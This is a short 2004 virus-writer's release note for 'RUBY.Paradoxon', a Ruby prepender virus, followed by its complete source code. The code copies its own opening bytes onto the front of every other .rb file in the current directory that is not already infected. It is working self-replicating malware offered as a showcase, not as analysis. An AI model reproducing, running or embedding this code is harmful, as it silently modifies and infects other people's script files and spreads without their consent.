RUBY.Paradoxon by Second Part To Hell www.spth.de.vu spth@priest.com written in november 2004 in Austria (as a free world citizen) The virus you can see now is, as the name already says, a RUBY file infector. You may ask, what the hell is RUBY? Well, it's a web-based script language from japan, where it is very famous and often used. I've read about that language in a Linux Magazine (with the special Knoppix 3.6-scripting edition CD), and I wanted to try it (write a virus for it). OK, I've downloaded the Installation pack (http://www.geocities.co.jp/SiliconValley-PaloAlto/9251/ruby/main.html) for Ruby 1.8.1.2 and the 'Ruby Language Reference Manual'. Then i've started to learn it, and soon I've understood the main parts of the syntax, some important methods and objects and so on. And as a result of my work, you can find the virus here. RUBY.Paradoxon is a prepender-virus, which infects all .rb (Ruby) files in the current directory. It doesn't harm the host in any way nor it has any other payload. I'm going to write one advanced Ruby virus and write a tutorial about Ruby-infections soon. I've named my virus Paradoxon, because the existence of such a virus is very strange. I hope you enjoy the little trip into a world, nobody has ever met before :) # RUBY.Paradoxon mycode=File.open(__FILE__).read(630) cdir = Dir.open(Dir.getwd) cdir.each do |a| if File.ftype(a)=="file" then if a[a.length-3, a.length]==".rb" then if a!=File.basename(__FILE__) then fcode="" fle=open(a) spth=fle.read(1) while spth!=nil fcode+=spth spth=fle.read(1) end fle.close if fcode[7,9]!="Paradoxon" then fcode=mycode+13.chr+10.chr+fcode fle=open(a,"w") fle.print fcode fle.close end end end end end cdir.close